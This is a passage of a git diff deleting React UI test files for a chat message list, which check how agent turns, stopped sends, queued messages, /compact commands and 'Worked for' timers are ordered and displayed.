-describe('a send a Stop took back before the agent started it', () => {
-  let restoreViewport = (): void => {}
-  beforeAll(() => {
-    restoreViewport = installNativeChatMessageListTestViewport()
-  })
-  afterAll(() => restoreViewport())
-  afterEach(cleanup)
-
-  const STOP_ROW = 'Stopped manually'
-  const THREAD: AgentJournalTurnScope = { kind: 'thread' }
-  let sequence = 0
-
-  function item(
-    itemId: string,
-    body: AgentJournalItemBody,
-    turnScope: AgentJournalTurnScope = THREAD
-  ): AgentJournalRenderItem {
-    sequence += 1
-    return { itemId, revision: 0, sequence, observedAt: sequence, body, turnScope }
-  }
-
-  const sent = (id: string, text: string) =>
-    item(agentJournalSubmissionKey(id), {
-      kind: 'message',
-      role: 'user',
-      blocks: [{ type: 'text', text }]
-    })
-
-  function turn(
-    itemId: string,
-    userId: string,
-    seconds: number,
-    end: { state: 'completed' | 'interrupted'; outcome: 'success' | 'cancellation' }
-  ) {
-    return item(itemId, {
-      kind: 'turn',
-      turnId: itemId,
-      ...end,
-      userItemId: agentJournalSubmissionKey(userId),
-      startedAt: 1_000,
-      completedAt: 1_000 + seconds * 1_000
-    })
-  }
-
-  function warmUp(): AgentJournalRenderItem[] {
-    return [
-      sent('warm-up', 'warm up'),
-      turn('t1', 'warm-up', 3, { state: 'completed', outcome: 'success' }),
-      item(
-        't1-answer',
-        { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'Warmed up.' }] },
-        { kind: 'turn', turnItemId: 't1' }
-      )
-    ]
-  }
-
-  function submission(
-    clientMessageId: string,
-    overrides: Partial<AgentJournalSubmission> = {}
-  ): AgentJournalSubmission {
-    return {
-      clientMessageId,
-      fence: 1,
-      payloadFingerprint: clientMessageId,
-      dispatchState: 'accepted',
-      providerItemId: null,
-      reason: null,
-      submittedAt: 1,
-      resolvedAt: 2,
-      ...overrides
-    }
-  }
-
-  const stopped = (id: string, overrides: Partial<AgentJournalSubmission> = {}) =>
-    submission(id, { dispatchState: 'rejected', reason: DISPATCH_REJECTED_CANCELLED, ...overrides })
-
-  function journalList(
-    items: AgentJournalRenderItem[],
-    submissions: AgentJournalSubmission[],
-    live: { isWorking: boolean; workingStartedAt: number | null } = {
-      isWorking: false,
-      workingStartedAt: null
-    }
-  ): React.JSX.Element {
-    return (
-      <NativeChatMessageList
-        session={{
-          messages: projectStructuredAgentSessionMessages(items, [], submissions),
-          status: 'ready',
-          sessionId: 'session-1',
-          agent: 'codex',
-          hasMore: false,
-          loadingEarlier: false,
-          olderHistoryGeneration: 0,
-          loadEarlier: vi.fn(),
-          readPhase: 'ready'
-        }}
-        journalItems={items}
-        journalSubmissions={submissions}
-        settledTurns={selectStructuredAgentSettledTurns(items, submissions)}
-        isWorking={live.isWorking}
-        workingStartedAt={live.workingStartedAt}
-        expandSignal={false}
-      />
-    )
-  }
-
-  function follows(later: HTMLElement, earlier: HTMLElement): boolean {
-    return Boolean(earlier.compareDocumentPosition(later) & Node.DOCUMENT_POSITION_FOLLOWING)
-  }
-
-  it('keeps no clock it showed while the send waited on its turn', () => {
-    const items = [...warmUp(), sent('never-ran', 'look around')]
-    const { rerender } = render(
-      journalList(
-        items,
-        [submission('warm-up'), submission('never-ran', { dispatchState: 'pending' })],
-        {
-          isWorking: true,
-          workingStartedAt: Date.now() - 5_000
-        }
-      )
-    )
-    expect(screen.getByText('Working for 5s')).toBeInTheDocument()
-
-    rerender(journalList(items, [submission('warm-up'), stopped('never-ran')]))
-
-    expect(screen.getAllByText(/^(Worked|Working) for/).map((node) => node.textContent)).toEqual([
-      'Worked for 3s'
-    ])
-    expect(follows(screen.getByText(STOP_ROW), screen.getByText('look around'))).toBe(true)
-  })
-})
diff --git a/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.queued-turn-order.test.tsx b/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.queued-turn-order.test.tsx
deleted file mode 100644
index ca097e112b9..00000000000
--- a/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.queued-turn-order.test.tsx
+++ /dev/null
@@ -1,163 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { cleanup, screen } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
-import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-import type {
-  AgentJournalItemBody,
-  AgentJournalRenderItem
-} from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import type { AgentJournalTurnScope } from '../../../../../../shared/agent-session/journal/agent-session-journal-turn-scope'
-import type { NativeChatMessage } from '../../../../../../shared/native-chat/native-chat-types'
-import type { NativeChatLiveSession } from '../../session/terminal/read/native-chat-live-session-contract'
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-import { installNativeChatMessageListTestViewport } from '../../viewport/virtualization/native-chat-message-list-test-viewport'
-
-let restoreViewport = (): void => {}
-beforeAll(() => {
-  restoreViewport = installNativeChatMessageListTestViewport()
-})
-afterAll(() => restoreViewport())
-afterEach(cleanup)
-
-const text = (
-  id: string,
-  role: NativeChatMessage['role'],
-  body: string,
-  timestamp: number
-): NativeChatMessage => ({
-  id,
-  role,
-  blocks: [{ type: 'text', text: body }],
-  timestamp,
-  source: 'transcript'
-})
-const toolRun = (id: string, timestamp: number): NativeChatMessage => ({
-  id,
-  role: 'assistant',
-  blocks: [{ type: 'tool-call', name: 'Bash', input: { command: 'sleep 5' }, state: 'completed' }],
-  timestamp,
-  source: 'transcript'
-})
-
-// The journal records B mid-turn before A’s remaining output; B’s own turn opens after A ends.
-const messages = [
-  text('user-a', 'user', 'Run the first job', 1),
-  toolRun('a-tool-1', 2),
-  text('user-b', 'user', 'Then run the second job', 3),
-  toolRun('a-tool-2', 4),
-  text('a-answer', 'assistant', 'FIRST DONE', 5),
-  text('b-answer', 'assistant', 'SECOND DONE', 6)
-]
-
-/** With `statesScope` false the rows carry no turn scope, as a host older than turn scopes writes. */
-function journal(bState: 'running' | 'completed', statesScope: boolean): AgentJournalRenderItem[] {
-  const thread: AgentJournalTurnScope = { kind: 'thread' }
-  const inTurn = (turnItemId: string): AgentJournalTurnScope => ({ kind: 'turn', turnItemId })
-  const row = (
-    itemId: string,
-    body: AgentJournalItemBody,
-    turnScope: AgentJournalTurnScope,
-    sequence: number
-  ): AgentJournalRenderItem => ({
-    itemId,
-    revision: 0,
-    sequence,
-    observedAt: sequence,
-    body,
-    ...(statesScope ? { turnScope } : {})
-  })
-  const said = (role: 'user' | 'assistant'): AgentJournalItemBody => ({
-    kind: 'message',
-    role,
-    blocks: []
-  })
-  return [
-    row('user-a', said('user'), thread, 1),
-    row(
-      'turn-a',
-      { kind: 'turn', turnId: 'turn-a', state: 'completed', userItemId: 'user-a' },
-      thread,
-      2
-    ),
-    row('a-tool-1', said('assistant'), inTurn('turn-a'), 3),
-    // Handed over while A runs, so the host scopes it to A's turn until its own opens.
-    row('user-b', said('user'), inTurn('turn-a'), 4),
-    row('a-tool-2', said('assistant'), inTurn('turn-a'), 5),
-    row('a-answer', said('assistant'), inTurn('turn-a'), 6),
-    row(
-      'turn-b',
-      { kind: 'turn', turnId: 'turn-b', state: bState, userItemId: 'user-b' },
-      thread,
-      7
-    ),
-    row('b-answer', said('assistant'), inTurn('turn-b'), 8)
-  ]
-}
-
-const session = (status: NativeChatLiveSession['status']): NativeChatLiveSession => ({
-  messages,
-  status,
-  sessionId: 'session-1',
-  agent: 'claude',
-  hasMore: false,
-  loadingEarlier: false,
-  olderHistoryGeneration: 0,
-  loadEarlier: vi.fn(),
-  readPhase: 'ready'
-})
-
-function expectInOrder(...nodes: Element[]): void {
-  for (const [index, node] of nodes.slice(1).entries()) {
-    expect(nodes[index]!.compareDocumentPosition(node)).toBe(Node.DOCUMENT_POSITION_FOLLOWING)
-  }
-}
-
-const bar = (label: string | RegExp): Element =>
-  screen.getByText(label).closest('[data-native-chat-turn-status]')!
-
-describe.each([['states each row’s turn', true]])(
-  'a message the provider answered after the running turn, on a host that %s',
-  (_host, statesScope) => {
-    it("draws A's remaining rows and answer under A's bar, then B's bubble and turn", () => {
-      render(
-        <NativeChatMessageList
-          session={session('working')}
-          journalItems={journal('running', statesScope)}
-          journalSubmissions={[]}
-          isWorking
-          workingStartedAt={Date.now() - 1000}
-          settledTurns={new Map([['user-a', { startedAt: 1, workedSeconds: 17 }]])}
-          expandSignal={false}
-        />
-      )
-
-      expectInOrder(
-        screen.getByText('Run the first job'),
-        bar('Worked for 17s'),
-        screen.getByText('FIRST DONE'),
-        screen.getByText('Then run the second job'),
-        bar(/Working for/),
-        screen.getByText('SECOND DONE')
-      )
-    })
-  }
-)
diff --git a/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.turn-membership.test.tsx b/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.turn-membership.test.tsx
deleted file mode 100644
index c376839d8d6..00000000000
--- a/src/renderer/src/components/native-chat/conversation/slots/NativeChatMessageList.turn-membership.test.tsx
+++ /dev/null
@@ -1,538 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { cleanup, screen, fireEvent } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
-
-import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-
-import {
-  agentJournalItemKey,
-  agentJournalSubmissionKey
-} from '../../../../../../shared/agent-session/journal/agent-session-journal-item-key'
-
-import type {
-  AgentJournalItemBody,
-  AgentJournalRenderItem,
-  AgentJournalSubmission
-} from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import type { AgentJournalTurnScope } from '../../../../../../shared/agent-session/journal/agent-session-journal-turn-scope'
-
-import { projectStructuredAgentSessionMessages } from '../../../../../../shared/agent-session/view/structured-agent-session-message-projection'
-
-import { selectStructuredAgentSettledTurns } from '../../../../../../shared/agent-session/view/structured-agent-session-turn-timing'
-
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-
-import { installNativeChatMessageListTestViewport } from '../../viewport/virtualization/native-chat-message-list-test-viewport'
-
-import type { NativeChatLiveSession } from '../../session/terminal/read/native-chat-live-session-contract'
-
-import type { NativeChatMessage } from '../../../../../../shared/native-chat/native-chat-types'
-
-{
-  const THREAD: AgentJournalTurnScope = { kind: 'thread' }
-  const inTurn = (turnItemId: string): AgentJournalTurnScope => ({ kind: 'turn', turnItemId })
-  let sequence = 0
-
-  function item(
-    itemId: string,
-    body: AgentJournalItemBody,
-    turnScope: AgentJournalTurnScope = THREAD
-  ): AgentJournalRenderItem {
-    sequence += 1
-    return { itemId, revision: 0, sequence, observedAt: sequence, body, turnScope }
-  }
-  const say = (
-    itemId: string,
-    role: 'user' | 'assistant',
-    text: string,
-    scope: AgentJournalTurnScope = THREAD
-  ) => item(itemId, { kind: 'message', role, blocks: [{ type: 'text', text }] }, scope)
-  const work = (itemId: string, scope: AgentJournalTurnScope) =>
-    item(
-      itemId,
-      {
-        kind: 'message',
-        role: 'assistant',
-        blocks: [{ type: 'tool-call', name: 'shell', input: { command: 'ls' }, state: 'completed' }]
-      },
-      scope
-    )
-  const settledTurn = (itemId: string, userItemId: string, seconds: number, start: number) =>
-    item(itemId, {
-      kind: 'turn',
-      turnId: itemId,
-      state: 'completed',
-      outcome: 'success',
-      userItemId,
-      startedAt: start,
-      completedAt: start + seconds * 1000
-    })
-
-  function fruitTurn(): AgentJournalRenderItem[] {
-    return [
-      say('u1', 'user', 'List three fruits'),
-      settledTurn('t1', 'u1', 4, 1_000),
-      say('t1-narration', 'assistant', 'Thinking about fruit.', inTurn('t1')),
-      work('t1-work', inTurn('t1')),
-      say('t1-answer', 'assistant', 'Apple, banana, cherry.', inTurn('t1'))
-    ]
-  }
-
-  function journalList(
-    items: AgentJournalRenderItem[],
-    submissions: AgentJournalSubmission[] = [],
-    {
-      isWorking = false,
-      workingStartedAt = null,
-      hostTiming = true
-    }: { isWorking?: boolean; workingStartedAt?: number | null; hostTiming?: boolean } = {}
-  ): React.JSX.Element {
-    return (
-      <NativeChatMessageList
-        session={{
-          messages: projectStructuredAgentSessionMessages(items, [], submissions),
-          status: 'ready',
-          sessionId: 'session-1',
-          agent: 'codex',
-          hasMore: false,
-          loadingEarlier: false,
-          olderHistoryGeneration: 0,
-          loadEarlier: vi.fn(),
-          readPhase: 'ready'
-        }}
-        journalItems={items}
-        journalSubmissions={submissions}
-        settledTurns={
-          hostTiming ? selectStructuredAgentSettledTurns(items, submissions) : undefined
-        }
-        isWorking={isWorking}
-        workingStartedAt={workingStartedAt}
-        expandSignal={false}
-      />
-    )
-  }
-
-  function renderJournal(
-    items: AgentJournalRenderItem[],
-    submissions: AgentJournalSubmission[] = [],
-    isWorking = false
-  ): void {
-    render(journalList(items, submissions, { isWorking }))
-  }
-
-  function follows(later: HTMLElement, earlier: HTMLElement): boolean {
-    return Boolean(earlier.compareDocumentPosition(later) & Node.DOCUMENT_POSITION_FOLLOWING)
-  }
-
-  describe('NativeChatMessageList turns from the turn record', () => {
-    let restoreViewport = (): void => {}
-    beforeAll(() => {
-      restoreViewport = installNativeChatMessageListTestViewport()
-    })
-    afterAll(() => restoreViewport())
-    afterEach(cleanup)
-
-    it('draws a message waiting behind /compact after the compaction, never above it', () => {
-      const compactEntry = agentJournalSubmissionKey('cmd-1')
-      const commandTurn = agentJournalItemKey({
-        provider: 'orca',
-        clientMessageId: 'command-turn:cmd-1'
-      })
-      const held = agentJournalSubmissionKey('held')
-      const items = [
-        ...fruitTurn(),
-        item(compactEntry, {
-          kind: 'message',
-          role: 'user',
-          blocks: [{ type: 'text', text: '/compact' }],
-          command: { name: 'compact' }
-        }),
-        settledTurn(commandTurn, compactEntry, 2, 10_000),
-        // Accepted while the command ran, so written before the command's result.
-        say(held, 'user', 'Say DONE'),
-        item(
-          'command-result',
-          { kind: 'status', text: 'Conversation compacted.', presentation: 'compaction' },
-          inTurn(commandTurn)
-        )
-      ]
-      const submission = (
-        clientMessageId: string,
-        handedOverAt?: number
-      ): AgentJournalSubmission => ({
-        clientMessageId,
-        fence: 1,
-        payloadFingerprint: clientMessageId,
-        dispatchState:
-          handedOverAt === undefined && clientMessageId === 'held' ? 'pending' : 'accepted',
-        providerItemId: null,
-        reason: null,
-        submittedAt: 9_000,
-        resolvedAt: null,
-        handoverRecorded: true,
-        ...(handedOverAt !== undefined ? { handedOverAt } : {})
-      })
-      // The command settled; the loop has not yet handed the held message over.
-      renderJournal(items, [submission('cmd-1', 9_500), submission('held')])
-
-      expect(
-        follows(
-          screen.getByText('Say DONE'),
-          screen.getByRole('separator', { name: 'Context compacted' })
-        )
-      ).toBe(true)
-    })
-
-    it('folds a turn the provider resumed on its own under its own status', () => {
-      const wake = agentJournalItemKey({
-        provider: 'legacy',
-        agent: 'claude',
-        sessionId: 'session-1',
-        recordId: 'turn-lifecycle:wake'
-      })
-      const items = [
-        ...fruitTurn(),
-        // Claude keys a resumed turn's record on itself: no message opened it.
-        settledTurn(wake, wake, 9, 20_000),
-        say('wake-narration', 'assistant', 'The background build finished.', inTurn(wake)),
-        work('wake-work', inTurn(wake)),
-        say('wake-answer', 'assistant', 'All tests pass now.', inTurn(wake))
-      ]
-      renderJournal(items)
-
-      const previousStatus = screen.getByText('Worked for 4s')
-      const ownStatus = screen.getByText('Worked for 9s')
-      expect(follows(ownStatus, screen.getByText('Apple, banana, cherry.'))).toBe(true)
-      expect(follows(ownStatus, previousStatus)).toBe(true)
-      expect(screen.queryByText('The background build finished.')).toBeNull()
-      expect(screen.getByText('All tests pass now.')).toBeInTheDocument()
-      expect(screen.getAllByRole('button', { name: 'Toggle turn details' })).toHaveLength(2)
-    })
-
-    it('clocks a turn the provider opened under its own key, not the user turn before it', () => {
-      const wake = 'wake'
-      const ask = say('u1', 'user', 'List three fruits')
-      const answer = (state: 'running' | 'completed') => [
-        ask,
-        item('t1', { kind: 'turn', turnId: 't1', state, userItemId: 'u1' }),
-        say('t1-answer', 'assistant', 'Apple, banana, cherry.', inTurn('t1'))
-      ]
-      const local = { hostTiming: false }
-      const { rerender } = render(
-        journalList(answer('running'), [], {
-          ...local,
-          isWorking: true,
-          workingStartedAt: Date.now() - 7_000
-        })
-      )
-      rerender(journalList(answer('completed'), [], local))
-      expect(screen.getByText('Worked for 7s')).toBeInTheDocument()
-
-      const woken = [
-        ...answer('completed'),
-        item(wake, { kind: 'turn', turnId: wake, state: 'running', userItemId: 'claude:wake' }),
-        say('wake-answer', 'assistant', 'Checking the background build.', inTurn(wake))
-      ]
-      rerender(journalList(woken, [], { ...local, isWorking: true, workingStartedAt: Date.now() }))
-      expect(screen.getByText('Worked for 7s')).toBeInTheDocument()
-    })
-
-    it('draws a message waiting behind a running /compact after its live activity', () => {
-      const compactEntry = agentJournalSubmissionKey('cmd-1')
-      const commandTurn = agentJournalItemKey({
-        provider: 'orca',
-        clientMessageId: 'command-turn:cmd-1'
-      })
-      const held = agentJournalSubmissionKey('held')
-      const items = [
-        ...fruitTurn(),
-        item(compactEntry, {
-          kind: 'message',
-          role: 'user',
-          blocks: [{ type: 'text', text: '/compact' }],
-          command: { name: 'compact' }
-        }),
-        item(commandTurn, {
-          kind: 'turn',
-          turnId: 'compact:cmd-1',
-          state: 'running',
-          userItemId: compactEntry,
-          startedAt: 10_000
-        }),
-        say(held, 'user', 'Say DONE')
-      ]
-      const submission = (
-        clientMessageId: string,
-        handedOverAt?: number
-      ): AgentJournalSubmission => ({
-        clientMessageId,
-        fence: 1,
-        payloadFingerprint: clientMessageId,
-        dispatchState: handedOverAt === undefined ? 'pending' : 'accepted',
-        providerItemId: null,
-        reason: null,
-        submittedAt: 9_000,
-        resolvedAt: null,
-        handoverRecorded: true,
-        ...(handedOverAt !== undefined ? { handedOverAt } : {})
-      })
-      const { container } = render(
-        journalList(items, [submission('cmd-1', 9_500), submission('held')], {
-          isWorking: true,
-          workingStartedAt: 10_000
-        })
-      )
-
-      const activity = container.querySelector<HTMLElement>('[data-native-chat-turn-activity]')
-      expect(activity).not.toBeNull()
-      expect(follows(activity!, screen.getByText('/compact'))).toBe(true)
-      expect(follows(screen.getByText('Say DONE'), activity!)).toBe(true)
-    })
-
-    it("keeps a steer on its way into an ordinary running turn above that turn's activity", () => {
-      const steer = agentJournalSubmissionKey('steer')
-      const items = [
-        say('u1', 'user', 'List three fruits'),
-        item('t1', {
-          kind: 'turn',
-          turnId: 't1',
-          state: 'running',
-          userItemId: 'u1',
-          startedAt: 10_000
-        }),
-        say('t1-narration', 'assistant', 'Thinking about fruit.', inTurn('t1')),
-        say(steer, 'user', 'Make it four')
-      ]
-      const { container } = render(
-        journalList(
-          items,
-          [
-            {
-              clientMessageId: 'steer',
-              fence: 1,
-              payloadFingerprint: 'steer',
-              dispatchState: 'pending',
-              providerItemId: null,
-              reason: null,
-              submittedAt: 10_500,
-              resolvedAt: null,
-              handoverRecorded: true
-            }
-          ],
-          { isWorking: true, workingStartedAt: 10_000 }
-        )
-      )
-
-      const activity = container.querySelector<HTMLElement>('[data-native-chat-turn-activity]')
-      expect(activity).not.toBeNull()
-      expect(follows(activity!, screen.getByText('Make it four'))).toBe(true)
-    })
-  })
-}
-
-{
-  describe('NativeChatMessageList host-settled turn timing', () => {
-    afterEach(cleanup)
-
-    let restoreViewport = (): void => {}
-
-    beforeAll(() => {
-      restoreViewport = installNativeChatMessageListTestViewport()
-    })
-
-    afterAll(() => restoreViewport())
-
-    const session: NativeChatLiveSession = {
-      messages: [
-        {
-          id: 'user-settled',
-          role: 'user',
-          blocks: [{ type: 'text', text: 'Settled on the host' }],
-          timestamp: 1,
-          source: 'transcript'
-        },
-        {
-          id: 'assistant-settled',
-          role: 'assistant',
-          blocks: [{ type: 'text', text: 'Done.' }],
-          timestamp: 2,
-          source: 'transcript'
-        }
-      ],
-      status: 'ready',
-      sessionId: 'session-1',
-      agent: 'codex',
-      hasMore: false,
-      loadingEarlier: false,
-      olderHistoryGeneration: 0,
-      loadEarlier: vi.fn(),
-      readPhase: 'ready'
-    }
-
-    it('does not render a local completed duration when the host cannot verify the end', () => {
-      const now = vi.spyOn(Date, 'now').mockReturnValue(1_000)
-      const unknownTurns = new Map([['user-settled', null]])
-      try {
-        const { rerender } = render(
-          <NativeChatMessageList
-            session={session}
-            isWorking
-            workingStartedAt={1_000}
-            settledTurns={unknownTurns}
-            expandSignal={false}
-          />
-        )
-        now.mockReturnValue(60_000)
-        rerender(
-          <NativeChatMessageList
-            session={session}
-            isWorking={false}
-            workingStartedAt={null}
-            settledTurns={unknownTurns}
-            expandSignal={false}
-          />
-        )
-        expect(screen.queryByText(/Worked for/)).not.toBeInTheDocument()
-      } finally {
-        now.mockRestore()
-      }
-    })
-  })
-
-  describe('a thought joining a work run', () => {
-    let restoreViewport = (): void => {}
-    beforeAll(() => {
-      restoreViewport = installNativeChatMessageListTestViewport()
-    })
-    afterAll(() => restoreViewport())
-    afterEach(cleanup)
-
-    const STARTED = 1_000
-
-    const prompt: NativeChatMessage = {
-      id: 'user-1',
-      role: 'user',
-      blocks: [{ type: 'text', text: 'Start the task' }],
-      timestamp: STARTED - 500,
-      source: 'transcript'
-    }
-
-    const command: NativeChatMessage = {
-      id: 'tool-1',
-      role: 'assistant',
-      blocks: [
-        { type: 'tool-call', name: 'Bash', input: { command: 'ls logs' }, state: 'completed' }
-      ],
-      timestamp: STARTED,
-      source: 'transcript'
-    }
-
-    function reasoning(state: 'running' | 'completed'): NativeChatMessage {
-      return {
-        id: 'r-1',
-        role: 'reasoning',
-        blocks: [{ type: 'text', text: 'Weighing two approaches' }],
-        timestamp: STARTED + 50,
-        source: 'transcript',
-        state,
-        ...(state === 'completed' ? { completedAt: STARTED + 12_000 } : {})
-      }
-    }
-
-    function journal(rows: readonly NativeChatMessage[]): AgentJournalRenderItem[] {
-      return [
-        {
-          itemId: prompt.id,
-          revision: 1,
-          sequence: 1,
-          observedAt: 1,
-          body: { kind: 'message', role: 'user', blocks: prompt.blocks }
-        },
-        {
-          itemId: 'turn-1',
-          revision: 1,
-          sequence: 2,
-          observedAt: 2,
-          body: { kind: 'turn', turnId: 'turn-1', state: 'running', userItemId: prompt.id }
-        },
-        ...rows.map((row, index) => ({
-          itemId: row.id,
-          revision: 1,
-          sequence: index + 3,
-          observedAt: index + 3,
-          body: {
-            kind: 'message' as const,
-            role: row.role,
-            blocks: row.blocks,
-            ...(row.state ? { state: row.state } : {})
-          }
-        }))
-      ]
-    }
-
-    function list(
-      rows: readonly NativeChatMessage[],
-      props: Partial<React.ComponentProps<typeof NativeChatMessageList>> = {}
-    ): React.JSX.Element {
-      const session: NativeChatLiveSession = {
-        messages: [prompt, ...rows],
-        status: 'working',
-        sessionId: 'session-1',
-        agent: 'claude',
-        hasMore: false,
-        loadingEarlier: false,
-        olderHistoryGeneration: 0,
-        loadEarlier: vi.fn(),
-        readPhase: 'ready'
-      }
-      return (
-        <NativeChatMessageList
-          session={session}
-          journalItems={journal(rows)}
-          isWorking
-          expandSignal={false}
-          {...props}
-        />
-      )
-    }
-
-    const runHeader = (): HTMLElement =>
-      document.querySelector<HTMLElement>('[data-native-chat-tool-run-state]')!
-
-    it('keeps a thought the reader opened live open inside its collapsed run', () => {
-      const { rerender } = render(list([command, reasoning('running')]))
-      fireEvent.click(screen.getByRole('button', { name: 'Thinking' }))
-      expect(screen.getByText('Weighing two approaches')).toBeInTheDocument()
-
-      rerender(list([command, reasoning('completed')]))
-      expect(runHeader()).toHaveAttribute('aria-expanded', 'false')
-      expect(screen.queryByText('Weighing two approaches')).toBeNull()
-
-      fireEvent.click(runHeader())
-      expect(screen.getByRole('button', { name: /Thought for/ })).toHaveAttribute(
-        'aria-expanded',
-        'true'
-      )
-      expect(screen.getByText('Weighing two approaches')).toBeInTheDocument()
-    })
-  })
-}
diff --git a/src/renderer/src/components/native-chat/conversation/turns/NativeChatMessageList.turn-indicator.test.tsx b/src/renderer/src/components/native-chat/conversation/turns/NativeChatMessageList.turn-indicator.test.tsx
deleted file mode 100644
index 0e9617fbe84..00000000000
--- a/src/renderer/src/components/native-chat/conversation/turns/NativeChatMessageList.turn-indicator.test.tsx
+++ /dev/null
@@ -1,259 +0,0 @@
-// @vitest-environment happy-dom
-
-import '@testing-library/jest-dom/vitest'
-
-import { cleanup, screen } from '@testing-library/react'
-import { render } from '../../messages/actions/native-chat-tooltip-test-harness'
-import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
-
-// Why: these fixtures have neither inline visual owners nor sender navigation.
-const unusedChatLeaves = vi.hoisted(() => ({
-  inlineVisual: vi.fn(() => {
-    throw new Error('Unexpected inline visual in transcript fixture')
-  }),
-  openSender: vi.fn(() => {
-    throw new Error('Unexpected sender navigation in transcript fixture')
-  })
-}))
-vi.mock('../../media/visuals/NativeChatInlineVisual', () => ({
-  NativeChatInlineVisual: unusedChatLeaves.inlineVisual
-}))
-vi.mock('@/lib/open-agent-message-sender', () => ({
-  openAgentMessageSender: unusedChatLeaves.openSender
-}))
-import type { NativeChatLiveSession } from '../../session/terminal/read/native-chat-live-session-contract'
-import { NativeChatMessageList } from '../../NativeChatMessageList'
-import { installNativeChatMessageListTestViewport } from '../../viewport/virtualization/native-chat-message-list-test-viewport'
-import type {
-  AgentJournalItemBody,
-  AgentJournalRenderItem
-} from '../../../../../../shared/agent-session/journal/agent-session-journal-types'
-import type { AgentJournalTurnScope } from '../../../../../../shared/agent-session/journal/agent-session-journal-turn-scope'
-
-let restoreViewport = (): void => {}
-beforeAll(() => {
-  restoreViewport = installNativeChatMessageListTestViewport()
-})
-afterAll(() => restoreViewport())
-afterEach(cleanup)
-
-const session: NativeChatLiveSession = {
-  messages: [
-    {
-      id: 'assistant-1',
-      role: 'assistant',
-      blocks: [{ type: 'text', text: 'Selectable agent response.' }],
-      timestamp: 1,
-      source: 'transcript'
-    }
-  ],
-  status: 'ready',
-  sessionId: 'session-1',
-  agent: 'codex',
-  hasMore: false,
-  loadingEarlier: false,
-  olderHistoryGeneration: 0,
-  loadEarlier: vi.fn(),
-  readPhase: 'ready'
-}
-
-// Live turns show a prompt clock and tail activity; settled turns retain the clock bar.
-describe('NativeChatMessageList turn indicator', () => {
-  it('replaces a bridge ask row and settles it from the FIFO tool result', () => {
-    const user = {
-      id: 'bridge-user',
-      role: 'user' as const,
-      blocks: [{ type: 'text' as const, text: 'Help me choose' }],
-      timestamp: 1,
-      source: 'transcript' as const
-    }
-    const call = {
-      id: 'bridge-ask',
-      role: 'assistant' as const,
-      blocks: [
-        {
-          type: 'tool-call' as const,
-          name: 'AskUserQuestion',
-          input: { questions: [{ question: 'Which branch?' }] }
-        }
-      ],
-      timestamp: 2,
-      source: 'transcript' as const
-    }
-    const bridgeSession: NativeChatLiveSession = {
-      ...session,
-      agent: 'claude',
-      messages: [user, call],
-      transcriptLifecycle: { state: 'working', turnId: user.id, timestamp: 1 }
-    }
-    const rendered = render(
-      <NativeChatMessageList session={bridgeSession} isWorking={false} expandSignal={false} />
-    )
-
-    expect(screen.getByText('Awaiting user input:')).toBeInTheDocument()
-    expect(screen.getByText('Which branch?')).toBeInTheDocument()
-    expect(screen.queryByText(/AskUserQuestion/)).toBeNull()
-
-    rendered.rerender(
-      <NativeChatMessageList
-        session={{
-          ...bridgeSession,
-          messages: [
-            user,
-            call,
-            {
-              id: 'bridge-answer',
-              role: 'tool',
-              blocks: [{ type: 'tool-result', output: 'main' }],
-              timestamp: 3,
-              source: 'transcript'
-            }
-          ]
-        }}
-        isWorking={false}
-        expandSignal={false}
-      />
-    )
-
-    expect(screen.queryByText('Awaiting user input:')).toBeNull()
-    expect(screen.getByText('Asked:')).toBeInTheDocument()
-    expect(screen.queryByText(/AskUserQuestion/)).toBeNull()
-  })
-
-  it.each([
-    ["a host that states each row's turn", true],
-    ['a host that states none', false]
-  ])(
-    'keeps the live bar under the prompt that opened the running turn, not a message sent mid-turn, on %s',
-    (_, scoped) => {
-      const prompt = (id: string, text: string): NativeChatLiveSession['messages'][number] => ({
-        id,
-        role: 'user',
-        blocks: [{ type: 'text', text }],
-        timestamp: 1,
-        source: 'transcript'
-      })
-      const messages = [
-        prompt('user-a', 'Run four sleeps'),
-        {
-          id: 'tool-a',
-          role: 'assistant' as const,
-          blocks: [
-            {
-              type: 'tool-call' as const,
-              name: 'Bash',
-              input: { command: 'sleep 15' },
-              state: 'running' as const
-            }
-          ],
-          timestamp: 2,
-          source: 'transcript' as const
-        },
-        prompt('user-b', 'Also say banana')
-      ]
-      // B was handed over while A's turn runs, so a host that states scopes puts it in that turn.
-      const t1: AgentJournalTurnScope = { kind: 'turn', turnItemId: 't1' }
